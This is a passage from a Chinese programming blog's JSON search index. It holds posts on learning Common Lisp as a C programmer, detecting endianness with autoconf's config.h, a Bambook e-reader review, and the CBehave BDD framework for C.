href=\"http://book.douban.com/subject/1205911/\"\u003eC语言大全\u003c/a\u003e)，书封皮的右上角上赫然写着\u0026quot;详解C99 ANSI/ISO最新标准\u0026quot;，那时离C99标准发布仅仅才一年。\u003c/p\u003e","title":"使用C99特性简化代码编写"},{"content":"毫无疑问，Common Lisp是一门庞大且复杂的语言，学习曲线并不平坦。对于一个从未接触过函数式语言、交互式语言以及动态类型语言的C程序员来说，学习Common Lisp显然是一个很大的挑战。\n也许有人会问：\u0026quot;C语言已经无所不能了，为何还要学习Common Lisp？\u0026ldquo;在这里我不想说太多冠冕堂皇的话，至少对我而言，理由有三：\n一是好奇，在C语言的世界里待得久了，总想探出头来吸几口新鲜空气，这次我选择了Common Lisp；\n二是为了变成一名更好的程序员。为何学习Common Lisp就能成为一名更好的程序员呢？这不是我的观点，而是诸多牛人或大师们（包括Paul Graham、Peter Norvig以及另外一个Peter：Peter Seibel等）的观点。不过不管你们信不信，反正我是信了。这个观点的关键思想就是一门语言可以影响一个程序员的思维方式。我相信Common Lisp可以给我带来一种不同于以往的新的编程思维方式，这样至少比只有一种思维方式要好，不是吗；\n最后，Lisp是一门可编程的编程语言，可以很容易扩展自身并且创造一门新的语言。我无法不动心于如此一门强大的语言。\n学习总是需要一些付出的。Jolt大奖得主《Practical Common Lisp》的作者Peter Seibel花了一年的时间放下一切潜心学习Common Lisp并终有所成。我们还有工作，有生活压力，无法像Seibel那样潇洒，但我们依旧可以去学习Common Lisp，循序渐进地学，一步一步来\u0026quot;驯服\u0026quot;Common Lisp这个\u0026quot;猛兽\u0026rdquo;。\u0026ldquo;猛兽\u0026quot;被驯服后，才能为你所用，发挥出异常的威力，不是吗？我们需要的仅是恒心和足够的耐心罢了。\n\u0026ldquo;驯服\u0026quot;意味着\u0026quot;学会\u0026rdquo;，何为学会一门语言？只是知晓语法，看懂代码还远远不够，那些仅仅叫知道或了解或\u0026quot;纸上谈兵\u0026rdquo;，还谈不上真正地\u0026quot;学会\u0026quot;。古人云：\u0026ldquo;学以致用\u0026rdquo;，只有在实际中可以灵活自如的使用了，才叫真正的\u0026quot;学会\u0026quot;了。\n现在只是开始！这里我会按照C程序员学习C语言的逻辑展开，为了更加贴近C程序员的思维模式，我选择了这种相对平滑的学习方式。也许最初的几篇会让你觉得Common Lisp很像一门命令式语言^_^！\n言归正传！学习一门编程语言之前，最好先弄清楚该语言在当前众多语言中的位置，了解一下它的前世今生，这有助于你对这门语言的认知。不过关于Common Lisp的详细历史这里就不赘述了，在进行下面内容之前，请先阅读一下维基百科，或是读读几本经典Common Lisp书籍（如《ANSI Common Lisp》、《On Lisp》以及《Practical Common Lisp》等）中对Common Lisp历史的介绍。\nCommon Lisp是Lisp语言大家族中的一分子，和Scheme等一样，它也是一门Lisp方言(Dialect)。与C语言相比，Lisp更加古老，是史上第二古老的编程语言，仅次于Fortran。但Common Lisp比C年轻，它是在上世纪80年代诞生的。与C语言普遍采用的\u0026quot;编辑-\u0026gt;编译-\u0026gt;调试/执行\u0026quot;的工作方式不同，Common Lisp更多采用的是类似于Python、Ruby那样的交互式的解释器工作模式。你在Common Lisp交互环境中就可以完成上述C语言的所有步骤。这种方式目前看来更易于语言的学习（虽然C语言目前也有解释器的实现，如Ch，但C程序员似乎更喜欢传统方式）。\n目前市面上Common Lisp的实现有很多种，既有商业收费的，也有开源免费的。商业软件这里就不提了，常用的免费开源的主流Common Lisp解释器包括CLISP、SBCL(Steel Bank Common Lisp)和Clozure CL。我个人更喜欢使用CLISP，所以后续有关解释器方面的内容更多以CLISP为主。\nCLISP支持诸多平台，你可以很容易得到安装包并顺利的完成安装，关于这方面内容这里就不赘述了。打开一个终端（Windows下打开一个命令行窗口)，敲入\u0026quot;clisp\u0026quot;，回车，你就进入到CLISP提供的Common Lisp顶层环境(Top-Level)当中了(若要进入SBCL，敲入sbcl；若要进入Clozure CL，敲入ccl，以上的前提是这些包的可执行程序路径已经加入到你的PATH环境变量中了)，就像这样：\n$ clisp\n… …\nWelcome to GNU CLISP 2.44.1 (2008-02-23) \u0026lt;http://clisp.cons.org/\u0026gt;\nCopyright (c) Bruno Haible, Michael Stoll 1992, 1993\nCopyright (c) Bruno Haible, Marcus Daniels 1994-1997\nCopyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998\nCopyright (c) Bruno Haible, Sam Steingold 1999-2000\nCopyright (c) Sam Steingold, Bruno Haible 2001-2008\nType :h and hit Enter for context help.\n[1]\u0026gt; _\n对于所谓的\u0026quot;顶层环境\u0026quot;，熟悉Python和Ruby等解释型语言的朋友并不陌生。它就是一个已经加载了标准Common Lisp包的REPL环境。其中REPL是Read-Eval-Print-Loop的缩写。说白了，这就是一个Common Lisp代码的执行环境，你在里面可以输入Common Lisp代码，这些代码可以被直接执行，执行结果也会立刻展现在你的眼前，或如果遇到错误/异常时，你还可以在里面直接进行代码调试。当然了\u0026quot;顶层\u0026quot;还有一个范围(Scope)的概念在里面，用于区分不同变量和函数的作用域。\n我们在CLISP中输入一些字符串、字符以及数字以及简单表达式：\n[1]\u0026gt; \u0026ldquo;hello lisp\u0026rdquo;\n\u0026ldquo;hello lisp\u0026rdquo;\n[2]\u0026gt; #\\c\n#\\c\n[3]\u0026gt; 1\n1\n[4]\u0026gt; (+ 1 2)\n3\nCLISP对于我们的输入给予了回应：对于字符串、字符(注意Common Lisp的字符表示法很特别，以#\\作为前缀，#\\c即C语言中的\u0026rsquo;c\u0026rsquo;)以及数字，CLISP进行了回显（实际上是对输入求值后的结果），对于\u0026quot;(+ 1 2)\u0026ldquo;这个计算1和2之和的表达式，CLISP给出了求值后的结果。\n我们继续输入一个a：\n[5]\u0026gt; a\n*** – EVAL: variable A has no value\nThe following restarts are available:\nUSE-VALUE :R1 You may input a value to be used instead of A.\nSTORE-VALUE :R2 You may input a new value for A.\nABORT :R3 Abort main loop\nBreak 1 [6]\u0026gt;\n与前面不同的是，这次CLISP给出了错误提示，求值器（evaluator)无法找到a绑定的值，CLISP进入异常处理模式，或称作调试模式。CLISP给出了三种选择：我们选择输入:R3，可以回到top-level主循环；选择输入:R2，则可以为a赋值。\nBreak 1 [6]\u0026gt; :R2\nNew A: 5\n5\n[7]\u0026gt; a\n5\nSBCL和Clozure CL与CLISP类似，都会有类似的调试模式，退出调试模式的方法参见各自的提示说明即可。\n如果要退出CLISP解释器，我们可以输入\u0026rdquo;(quit)\u0026quot;，注意quit两边的括号也是命令的一部分；在SBCL中，我们可以输入(SB-EXT:QUIT)退出；Clozure CL的退出方法与CLISP相同。\nCommon Lisp源代码是由一组S-expressions(symbolic expression)构成的。什么是S-expression呢？这个在Common Lisp书籍中很难找到答案，因为S-expression是一种组织数据的结构，并不是Lisp独有的，只是Lisp恰好也采用了这种结构来组织存储Lisp的代码和数据罢了。在维基百科上，S-expression有一个递归的定义：\u0026ldquo;S-expression要么是一个被成为原子(atoms)的单一的数据对象(data object)，要么是一个S-expressions列表(list)。数字、数组、字符串以及符号都是原子\u0026rdquo;，比如：\n[1]\u0026gt; 13\n13\n[2]\u0026gt; #(1 2 3)\n#(1 2 3)\n[3]\u0026gt; \u0026ldquo;hello\u0026rdquo;\n\u0026ldquo;hello\u0026rdquo;\n[4]\u0026gt; #\u0026rsquo;length\n数字'13\u0026rsquo;、数组\u0026rsquo;#(1 2 3)\u0026rsquo;、字符串\u0026quot;hello\u0026quot;以及符号\u0026rsquo;length\u0026rsquo;都是原子。\nLisp将代码和数据都存储于S-expressions当中，这是Lisp与其他主流语言的最大区别之一。我们在编写Common Lisp源码时，需要遵循正确的S-expression格式。前面说过Common Lisp解释器就是一个READ-EVAL-PRINT-LOOP环境，这个环境主要由一个Reader和一个Evaluator构成。Reader负责读取源文件中的文本或者我们在提示符后面输入的文本，检查文本格式是否符合S-Expression要求，直到所有文本都符合格式要求，这样解释器就得到了正确的S-expression：\n[1]\u0026gt; (+ 1 2))\n3\n[2]\u0026gt;\n*** – READ from … \u0026gt;: an object\ncannot start with #\\)\n通过上面例子可以看出，Reader识别出了不符合S-expression格式的源码文本。\nReader将文本转换为S-expressions后，Evaluator就开始对S-expression进行校验，校验其是否符合Lisp Code的规范形式(Lisp Form)。\n下面的例子说明了Evaluator的作用：\n[1]\u0026gt; (foo 1 2)\n*** – EVAL: undefined function FOO\n毫无疑问，(foo 1 2)是一个有效的S-expression，其通过Reader这关是没有问题的。但是当Evaluator对S-expression\u0026quot;(foo 1 2)\u0026ldquo;进行验证求值时，却发现无法找到函数foo的定义，这行源码不合法。\n简单总结Reader和Evaluator的工作流程就是：\u0026ldquo;源码文本\u0026quot;通过Reader转换为有效的\u0026quot;S-expressions\u0026rdquo;，后者则由Evaluator转换成有效\u0026quot;Lisp Form\u0026quot;并求值得出结果。\nCommon Lisp初学者常常被那满眼的括号所吓住，不过事实上括号并没有那么\u0026quot;可怕\u0026rdquo;。括号其实主要是给Common Lisp解释器(Reader和Evaluator)用的，而不是给程序员看的。现今的代码编辑器都很智能，基本上可以消除括号在编程过程中给你带来的影响（要说一点影响没有也不太可能）。\nCommon Lisp支持多种注释形式。在C语言中我们用\u0026rsquo;//\u0026lsquo;进行单行注释(C99标准引入)，而Common Lisp的单行注释符号为\u0026rsquo;;\u0026rsquo;。C语言采用\u0026rsquo;/*…*/\u0026lsquo;进行多行注释，Common Lisp使用的是\u0026rsquo;#|…|#\u0026rsquo;。Common Lisp还提供了一种大多语言都不具备的注释方式，那就是将注释直接写到紧邻函数定义的参数列表后面的位置上，这样通过Common Lisp提供的工具，我们可以轻松地提取出该函数的注释，并生成代码文档，比如：\n[1]\u0026gt; (defun foo (x) \u0026ldquo;test comments\u0026rdquo; (+ x 1))\nFOO\n[2]\u0026gt; (documentation #\u0026lsquo;foo t)\n\u0026ldquo;test comments\u0026rdquo;\n由于Common Lisp括号众多，一个风格良好的Lisp程序需要通过良好风格的代码缩进来保证，这方面我推荐AI领域大师Peter Norvig若干年前编写的一篇有关优秀Lisp编程风格的文章《Tutorial on Good Lisp Programming Style》。\n很多C程序员可能还是习惯于将代码写到文件中。Common Lisp解释器提供了将你的源文件加载到顶层环境并直接使用其中的定义的方法：\n;; foo.lisp\n(defun foo (x) \u0026ldquo;test foo\u0026rdquo;\n(+ x 1))\n[1]\u0026gt; (load \u0026ldquo;foo.lisp\u0026rdquo;)\n;; Loading file foo.lisp …\n;; Loaded file foo.lisp\nT\n[2]\u0026gt; (foo 5)\n6\n利用load函数我们可将你的源文件加载到顶层环境中，并在顶层环境里使用该源文件中定义的函数。\n编程语言初学者总喜欢在终端控制台上看到自己编写的程序的输出结果，那样会产生一种奇妙的成就感，程序员们多陶醉于其中。C程序员最常用的就是printf函数了，Common Lisp中也有与printf等价的函数，它就是format。这里不是专门讲解format函数的，下面仅仅列举一些常见的例子，这些例子应该可以满足你在学习语言初期的需求了：\n* 输出整型数\n(format t \u0026ldquo;~d\u0026rdquo; 1000000) ==\u0026gt; 1000000\n(format t \u0026ldquo;~x\u0026rdquo; 1000000) ==\u0026gt; f4240\n(format t \u0026ldquo;~o\u0026rdquo; 1000000) ==\u0026gt; 3641100\n(format t \u0026ldquo;~b\u0026rdquo; 1000000) ==\u0026gt; 11110100001001000000\n上面依次是按十进制、16进制、八进制和二进制输出。\n* 输出浮点数\n(format t \u0026ldquo;~f\u0026rdquo; 3.1415) ==\u0026gt; 3.1415\n* 输出字符串\n(format t \u0026ldquo;~a\u0026rdquo; \u0026ldquo;hello lisp\u0026rdquo;) ==\u0026gt; hello lisp\n* 输出字符\n(format t \u0026ldquo;~c\u0026rdquo; #\\c) ==\u0026gt; c\n* 输出换行符\n以下借用《ANSI Common Lisp》书中的一个例子：\n(format nil \u0026ldquo;Dear ~a, ~% Our records indicate…\u0026rdquo; \u0026ldquo;Mr. Malatesta\u0026rdquo;)\n==\u0026gt; \u0026ldquo;Dear Mr. Malatesta,\nOur records indicate…\u0026rdquo;\nformat函数的第一个参数表示是否输出到\u0026quot;标准输出(*STANDARD-OUTPUT*\u0026quot;，如果传入t，则表示输出到标准输出设备上。第二个参数与C中的printf函数的第一个参数类似，是一个格式串，不同的是格式串中的指示符(directive)由printf中的\u0026rsquo;%\u0026lsquo;变成了\u0026rsquo;~\u0026rsquo;。\n为了让大家更加直观地了解Common Lisp源代码到底是什么样子的，下面将给出一个Common Lisp的例子程序，这个程序用来计算参数字符串中大写字母的总个数：\n我们先给出一个命令式风格的实现版本：\n;; upper-char-counter.lisp\n(defun upper-char-counter (str)\n(let ((len (length str)) (result 0))\n(do ((i 0 (+ i 1)))\n((\u0026gt;= i len) result)\n(if (upper-case-p (char str i)) (setf result (1+ result))))))\n即使你不懂Common Lisp语法，你也能大致猜测处理这段代码的逻辑，基本上与下面C代码是等价的：\nint upper_char_counter(const char *str) {\nint result = 0;\nint len = strlen(str);\nint i = 0;\nwhile (i \u0026lt; len) {\nif (str[i] \u0026gt;= ‘A’ \u0026amp;\u0026amp; str[i] \u0026lt;= \u0026lsquo;Z\u0026rsquo;) {\nresult++;\n}\ni++;\n}\nreturn result;\n}\n下面是一个函数式风格的实现版本：\n;; upper-char-counter.lisp\n(defun upper-char-counter (str)\n(count-if #\u0026lsquo;upper-case-p str))\n[1]\u0026gt; (load \u0026ldquo;upper-char-counter.lisp\u0026rdquo;)\n;; Loading file upper-char-counter.lisp …\n;; Loaded file upper-char-counter.lisp\nT\n[2]\u0026gt; (upper-char-counter \u0026ldquo;a5B6CD!\u0026rdquo;)\n3\n这个版本的代码显然更加简洁，但理解起来有些难度。函数count-if接受一个函数和一个字符串作为参数，count-if将函数upper-case-p应用于str中的各个字符上，并将返回true(t)的结果个数累加得到最终返回值。\n走到这里，我想大家应该对Common Lisp有了一个感性的认识了，至少可以编写一些命令式风格的简单代码或复制一些现存的代码放到顶层环境中执行了。如果真的是这样，那我的目的就达到了^_^。\n","permalink":"https://tonybai.com/2011/08/30/c-programers-tame-common-lisp-series-introduction/","summary":"\u003cp\u003e毫无疑问，\u003ca href=\"http://tonybai.com/2011/06/21/hello-common-lisp/\"\u003eCommon Lisp\u003c/a\u003e是一门庞大且复杂的语言，学习曲线并不平坦。对于一个从未接触过\u003ca href=\"http://en.wikipedia.org/wiki/Functional_programming\"\u003e函数式语言\u003c/a\u003e、交互式语言以及动态类型语言的C程序员来说，学习Common Lisp显然是一个很大的挑战。\u003c/p\u003e\n\u003cp\u003e也许有人会问：\u0026quot;\u003ca href=\"http://tonybai.com/tag/C/\"\u003eC语言\u003c/a\u003e已经无所不能了，为何还要学习Common Lisp？\u0026ldquo;在这里我不想说太多冠冕堂皇的话，至少对我而言，理由有三：\u003cbr\u003e\n一是好奇，在C语言的世界里待得久了，总想探出头来吸几口新鲜空气，这次我选择了Common Lisp；\u003cbr\u003e\n二是为了变成一名更好的程序员。为何学习Common Lisp就能成为一名更好的程序员呢？这不是我的观点，而是诸多牛人或大师们（包括\u003ca href=\"http://paulgraham.com/\"\u003ePaul Graham\u003c/a\u003e、\u003ca href=\"http://norvig.com/\"\u003ePeter Norvig\u003c/a\u003e以及另外一个Peter：Peter Seibel等）的观点。不过不管你们信不信，反正我是信了。这个观点的关键思想就是一门语言可以影响一个程序员的思维方式。我相信Common Lisp可以给我带来一种不同于以往的新的编程思维方式，这样至少比只有一种思维方式要好，不是吗；\u003cbr\u003e\n最后，Lisp是一门可编程的编程语言，可以很容易扩展自身并且创造一门新的语言。我无法不动心于如此一门强大的语言。\u003c/p\u003e","title":"C程序员驯服Common Lisp – 入门"},{"content":"昨天在编译项目代码时遇到了这样一个错误：\nxx_base.h:72:2: 错误：#error \u0026ldquo;One of _BIG_ENDIAN or _LITTLE_ENDIAN must be defined.\u0026rdquo;\n这是预编译器的错误输出。原因很明显：预编译器在处理xx_base.h时没有发现_BIG_ENDIAN或_LITTLE_ENDIAN的定义，#error预处理宏输出了如上错误。下面是出现错误位置的源码片断：\n/* xx_base.h*/\n#if defined(_BIG_ENDIAN)\n… …\n#elif defined(_LITTLE_ENDIAN)\n… …\n#else\n#error \u0026ldquo;One of _BIG_ENDIAN or _LITTLE_ENDIAN must be defined.\u0026rdquo;\n#endif\nxx_base.h是部门一基础库中的一个头文件，上面的做法对于基础库自身来说并无太大问题。基础库的Makefile通过检测CPU类型定义了对应的字节序宏，并在编译时作为gcc的命令行选项传入：\n/* Makefile */\nifeq ($(CPU), x86)\nDEFS += -D_LITTLE_ENDIAN\nelse ifeq ($(CPU), sparc)\nDEFS += -D_BIG_ENDIAN\nelse\n$(error $(CPU) is not supported!)\nendif\n但是一旦这个基础库被某项目复用，且该xx_base.h文件被项目代码引用，编译就会出现问题，因为各个项目的Makefile中并没有定义_LITTLE_ENDIAN或_BIG_ENDIAN宏。如果基础库不做修改，那么复用该基础库的项目代码中就都需要考虑这两个宏的定义问题。这未免有些\u0026quot;强加\u0026quot;的意味，对于一个几乎被所有项目复用的基础库而言，这样的做法显然不妥。\n那如何解决这个问题呢？一个思路是如果基础库在发布后依旧携带这些宏的定义，那就可以避免这样的问题了。在很多使用autotools(包括autoconf, automake, libtool等)协助进行代码构建的开源包中经常会看到一个名为config.h的源文件，那里面包含了与移植相关的宏定义。这个config.h是configure脚本根据config.h.in模板自动生成的。\n我们的基础库如果完全用autotools改造显然也可以解决这个问题，但这样一来以前编写的一些构建脚本就要被全部抛弃，能否折中一下呢：利用autoconf生成config.h，但不输出Makefile，依旧使用原先的Makefile？\n实验证明这样是可以的。只需对configure.in(或configure.ac)做一些调整即可，将类似AC_CONFIG_FILES([Makefile src/Makefile src/example/Makefile])这样的代码从configure.in中移除即可：\n# -*- Autoconf -*-\n# Process this file with autoconf to produce a configure script.\nAC_PREREQ([2.64])\nAC_INIT([baselib], [1.0.0], [xx@gmail.com])\nAC_CONFIG_HEADERS([include/config.h])\n# Checks for header files.\nAC_CHECK_HEADERS([stddef.h stdlib.h string.h])\n# Checks for typedefs, structures, and compiler characteristics.\nAC_TYPE_SIZE_T\n# Checks for library functions.\nAC_FUNC_MALLOC\nAC_CHECK_FUNCS([memset])\nAC_OUTPUT\nAC_CONFIG_HEADERS这句是关键！修改完configure.in后，执行autoheader，我们就会在include下发现config.h.in模板文件被生成了出来。执行autoconf生成的configure脚本后，我们在include下就得到了config.h。\n下面就是在config.h中加入我们期望的宏。在我们的问题中，我们希望在configure时可以探测到当前host所用的字节序(endianess)，并将结果反映到config.h中。幸运的是autoconf内置了字节序的测试宏AC_C_BIGENDIAN。增加了AC_C_BIGENDIAN测试宏的configure.in经过autoheader处理后得到的config.h.in文件中多了如下这组代码：\n/* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most\nsignificant byte first (like Motorola and SPARC, unlike Intel). */\n#if defined AC_APPLE_UNIVERSAL_BUILD\n# if defined __BIG_ENDIAN__\n# define WORDS_BIGENDIAN 1\n# endif\n#else\n# ifndef WORDS_BIGENDIAN\n# undef WORDS_BIGENDIAN\n# endif\n#endif\n在Sun SPARC小机上运行configure，我们得到的config.h中有关字节序的宏定义代码如下：\n/* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most\nsignificant byte first (like Motorola and SPARC, unlike Intel). */\n#if defined AC_APPLE_UNIVERSAL_BUILD\n# if defined __BIG_ENDIAN__\n# define WORDS_BIGENDIAN 1\n# endif\n#else\n# ifndef WORDS_BIGENDIAN\n# define WORDS_BIGENDIAN 1\n# endif\n#endif\nconfig.h中定义了WORDS_BIGENDIAN宏，说明Sun Sparc小机采用的是BigEndian。这样只要基础库的头文件都在最开始包含了config.h，那么上面的问题就解决了。\n不过有些朋友不喜欢WORDS_BIGENDIAN这个宏的命名，想自己给标识字节序的宏命名，比如BASELIB_IS_BIGENDIAN。那么我们如何来支持呢？这里我也找到了一个办法：\n首先，就是手工编辑config.h.in(注意这之后你就不要通过autoheader生成config.h.in了)，在结尾加上这样一行：\n#undef BASELIB_IS_BIGENDIAN\n然后，修改configure.in，通过AC_DEFINE来定义一个新的BASELIB_IS_BIGENDIAN宏：\nAC_C_BIGENDIAN\nif test $ac_cv_c_bigendian = yes; then\nAC_DEFINE(BASELIB_IS_BIGENDIAN, 1)\nfi\n我们通过AC_C_BIGENDIAN的检测结果来确定是否定义BASELIB_IS_BIGENDIAN宏，ac_cv_c_bigendian显然是AC_C_BIGENDIAN内置的一个变量，如果需要，我们也可以模仿其命名规则得到其他测试宏内置的变量。\n最后，执行autoconf和configure，我们就可以在include/config.h的结尾看到这样一行定义：\n#define BASELIB_IS_BIGENDIAN 1\nAC_DEFINE不一定非要与测试宏绑定在一起，它的用法很灵活。如果我们的代码中需要根据不同操作系统的类型来调用不同的代码，那么我们需要在config.h中放置几个标识操作系统类型的宏，比如BASELIB_LINUX和BASELIB_SUNOS。和BASELIB_IS_BIGENDIAN一样，我们首先需要手工编辑config.h.in，增加如下两行代码：\n#undef BASELIB_LINUX\n#undef BASELIB_SUNOS\n然后，修改configure.in，加入自定义的OS测试代码，并且定义对应的宏：\nos=`uname -s`\ncase $os in\nLinux)\nAC_DEFINE(BASELIB_LINUX, 1)\n;;\nSunOS)\nAC_DEFINE(BASELIB_SUNOS, 1)\n;;\n*)\nAC_ERROR([host is unsupported.])\n;;\nesac\n最后，执行autoconf和configure。如果我们在redhat上，我们就会在config.h中看到如下代码：\n#define BASELIB_LINUX 1\n/* #undef BASELIB_SUNOS */\nautoconf也内置了一系列系统类型测试宏，比如AC_CANONICAL_SYSTEM(依赖install-sh、config.sub和config.guess三个脚本)，其测试后的结果放在了$host变量中，你也可以通过判断$host变量来确定到底在config.h中定义哪个宏。\n","permalink":"https://tonybai.com/2011/08/23/solve-portable-problem-with-autoconf/","summary":"\u003cp\u003e昨天在编译项目代码时遇到了这样一个错误：\u003c/p\u003e\n\u003cp\u003exx_base.h:72:2: 错误：#error \u0026ldquo;One of _BIG_ENDIAN or _LITTLE_ENDIAN must be defined.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e这是预编译器的错误输出。原因很明显：预编译器在处理xx_base.h时没有发现_BIG_ENDIAN或_LITTLE_ENDIAN的定义，#error预处理宏输出了如上错误。下面是出现错误位置的源码片断：\u003c/p\u003e","title":"使用autoconf解决可移植性问题"},{"content":"自从去年7月末盛大的Bambook(中文名称：锦书)上市起，我就一直关注着这款产品。不过考虑到刚上市的产品价位较高，功能和应用有限，缺陷较多等因素，我也一直没有下单购买。期间我还差点买入Kindle，后据说Kindle对PDF及中文的支持不佳而暂时打消了念头。上周在京东看到Bambook价格降到了499，而且据网上评测Bambook在经过一年的固件升级后，增加了许多功能，其中就包括对原生pdf文件的支持。我的直觉告诉我：是时候下单了。\n我选择了在盛大Bambook官网下单，你无需在盛大官网注册即可下单购买，系统会自动为你生成一个账户和密码。另外盛大也支持货到付款，这点还是蛮体贴的。我上周四下的订单，这周一，也就是昨天我的Bambook就到货了。\nBambook是通过宅急送运到的，之前就收到过盛大的短信，提示先验货后付款，因为电子书的屏幕很容易在运输过程中出现损坏。屏幕可是电子书的最关键部件，不能马虎。Bambook的包装很简约：除主机外，还有一根数据线，同时兼具充电功能、保修卡、简单的用户手册和一个盛大账户卡（默认与Bambook绑定的，享受盛大书城服务）。扳动开关键启动Bambook，屏幕显示一切正常，外观也没有瑕疵，验货完毕，付款。\n盛大的Bambook有两种颜色可选：白色和粉色。我买的是白色的。Bambook给我的第一印象：外观精致，分量适中，手感不错。这里就不上图了，网上有许多清晰的图片可供欣赏。随意按了一通后，发现按键的感觉有些偏硬，似乎没有Kindle（几个月前曾体验过同事从美国买来的Kindle）的舒服。\nBambook的屏幕显示也是比较清晰的，至少我是看不出与Kindle有啥较大区别。Bambook内置了几本小说，不知道是啥格式的，阅读翻页都很顺畅，直觉上看其反应速度算是中等吧(我可没有拿秒表精确计算过，只是直观感觉罢了)，至少我是可以接受的。Bambook支持全屏阅读和横屏阅读，对于txt或snb格式的书籍支持4档字体大小调节。\n和Kindle一样，Bambook也支持听书，内置的发音引擎发出的声音还是比较清晰的，声音也很大（可调节）。当然了Bambook的发音引擎也无法避免一个通病，那就是音调听起来总是那么怪里怪气的。\nBambook支持通过WIFI和3G上网卡连接网络，不过遗憾的是其没有内置浏览器（这点要远逊于Kindle），通过Bambook只能到盛大的云中书城搜书、看书和下载书籍。对我来说，这个功能基本算是鸡肋。\nBambook通过云梯软件(当前版本是0.97，且只有Windows版)与PC进行数据交互，你通过Bambook自带的帐号在云梯内部登录后，即可下载云梯插件、下载电子书。云梯还提供书架管理，你可以将自制的电子书放入书架，传输到Bambook中。新版Bambook的一个重大改进就是支持原生PDF文件的阅读，不过经尝试发现，在云梯未连接Bambook之前，我们是无法将原生PDF文件加入书架中的，云梯会提示你选择转换为txt或html图文混排；但当连接Bambook后，就可以直接将原生PDF文件拖入书架，同时也上传到Bambook中。\nBambook的原生PDF文件的显示效果还是很不错了。无论是文字版，还是扫描版都能良好展现。不过因为Bambook屏幕只有6寸，字体尺寸被压缩，看起来感觉很小。这也是目前电子书产品的一个普遍问题了。对于原生PDF文件，Bambook也无法进行缩放浏览。我们只能选择横屏+全屏的阅读方式来缓解这一缺憾了，换到横屏+全屏后，个人感觉文件内容基本还是可读的。另外以后下载PDF格式书籍时，尽量挑选那些字体大的版本下载。目前我还没找到一款合适的软件可以支持修改PDF字体大小并保存的。\n在还不到一天的时间里，我对Bambook的体验就是这些了。Bambook功能的扩展还要指望盛大的固件开发人员的努力了，比如增加浏览器，支持原生PDF字体缩放等。\n下一步计划给Bambook配一个套，这样就可以对屏幕有一个很好的保护了，否则携带起来的确不甚方便。\n","permalink":"https://tonybai.com/2011/08/16/some-notes-on-using-bambook/","summary":"\u003cp\u003e自从去年7月末盛大的\u003ca href=\"http://bambook.sdo.com/\"\u003eBambook\u003c/a\u003e(中文名称：锦书)上市起，我就一直关注着这款产品。不过考虑到刚上市的产品价位较高，功能和应用有限，缺陷较多等因素，我也一直没有下单购买。期间我还差点买入\u003ca href=\"http://en.wikipedia.org/wiki/Amazon_Kindle\"\u003eKindle\u003c/a\u003e，后据说Kindle对PDF及中文的支持不佳而暂时打消了念头。上周在京东看到Bambook价格降到了499，而且据网上评测Bambook在经过一年的固件升级后，增加了许多功能，其中就包括对原生pdf文件的支持。我的直觉告诉我：是时候下单了。\u003c/p\u003e\n\u003cp\u003e我选择了在盛大Bambook官网下单，你无需在盛大官网注册即可下单购买，系统会自动为你生成一个账户和密码。另外盛大也支持货到付款，这点还是蛮体贴的。我上周四下的订单，这周一，也就是昨天我的Bambook就到货了。\u003c/p\u003e","title":"Bambook使用手记"},{"content":"Behaviour-Driven Development，即行为驱动开发在业界早已不是什么新鲜玩意了。我之前也略有了解，不过一直没有\u0026quot;深入钻研\u0026quot;。直到今年年初InfoQ的几篇有关BDD的文章才让我对BDD有了更多的认识。与TDD一样，C语言在BDD领域依旧是一个\u0026quot;后进分子\u0026quot;，在多数主流语言(Java，C#，Ruby等)都已经拥有比较成熟的BDD框架(如JBehave、SpecFlow和Cucumber)的今天，C语言却似乎仅有一款BDD框架-CSpec可用。于是年初的时候我就把设计和实现一个用于C语言的行为驱动开发框架加入到我今年的ToDoList中了。\n在确定好目标的同时，我也给这款框架命名为CBehave(模仿JBehave)，并在Google Code上建立了CBehave的托管项目。但人的时间和精力总是有限的，直到8月中旬我才开始着手进行这个框架的设计和实现。设计和实现一款给程序员使用的工具，这本身就是一件让人兴奋的事情。我先是通过DanNorth的博文\u0026quot;Introducing BDD\u0026quot;(其中译版在这里)了解了BDD的\u0026quot;诞生历程\u0026quot;，然后又广泛地了解了一下其他语言的BDD框架。对于CSpec这一目前唯一的C语言BDD框架，我并不想给予过多评价，不过总体来说和其他语言的BDD框架相比，CSpec有些简陋，应该说还无法很好的支持BDD中一些核心思想的表达，并且目前它还不支持Mock。这些都坚定了我重新实现一个C语言BDD框架的决心，起码我不完全是\u0026quot;重新发明轮子\u0026quot;^_^。\n作为后来者，CBehave的设计参考了诸多现有的主流BDD框架，其中直接灵感来源于Cucumber，不过由于C语言静态编译语言的本质，CBehave与Cucumber在大多地方也只是形似而已。作为一篇CBehave的介绍性文章，这里列举一些CBehave的主要特点：\n首先，CBehave借鉴Cucumber的设计采用Feature + Scenario结合的方式来描述功能需求(DanNorth: 需求也是行为)，并且在每个Scenario内部采用BDD的经典的GIVEN-WHEN-THEN结构描述行为的验收标准(acceptance criteria)。\n这里给出一个总体的行为描述模板：\nFEATURE #1\nSCENARIO #1\nGIVEN\n… …\nWHEN\n… …\nTHEN\n… …\nSCENARIO #2\nGIVEN\n… …\nWHEN\n… …\nTHEN\n… …\n… …\nFEATURE #2\n… …\nFEATURE #n\n原则上FEATURE之间是相互隔离的；FEATURE内部的多个Scenario之间在代码定义和执行时也是相互隔离，互不干扰的。这是一个使用该框架的基本约束。不过这就好比建议性锁，全靠使用时的自觉，否则很容易造成框架运行出错。\n下面是一个真实的使用CBehave对strstr函数进行测试的例子(代码片断，完整例子参见源码cbehave/src/example/string_test.c)：\nFEATURE(1, \u0026ldquo;strstr\u0026rdquo;)\nSCENARIO(\u0026ldquo;The strstr finds the first occurrence of the substring in the source string\u0026rdquo;)\nGIVEN(\u0026ldquo;A source string: [Lionel Messi is a great football player]\u0026rdquo;)\nchar *str = \u0026ldquo;Lionel Messi is a great football player\u0026rdquo;;\nGIVEN_END\nWHEN(\u0026ldquo;we use strstr to find the first occurrence of [football]\u0026rdquo;)\nchar *p = strstr(str, \u0026ldquo;football\u0026rdquo;);\nWHEN_END\nTHEN(\u0026ldquo;We should get the string: [football player]\u0026rdquo;)\nSHOULD_STR_EQUAL(p, \u0026ldquo;football player\u0026rdquo;);\nTHEN_END\nSCENARIO_END\nSCENARIO(\u0026ldquo;If strstr could not find the first occurrence of the substring, it will return NULL\u0026rdquo;)\nGIVEN(\u0026ldquo;A source string: FC Barcelona is a great football 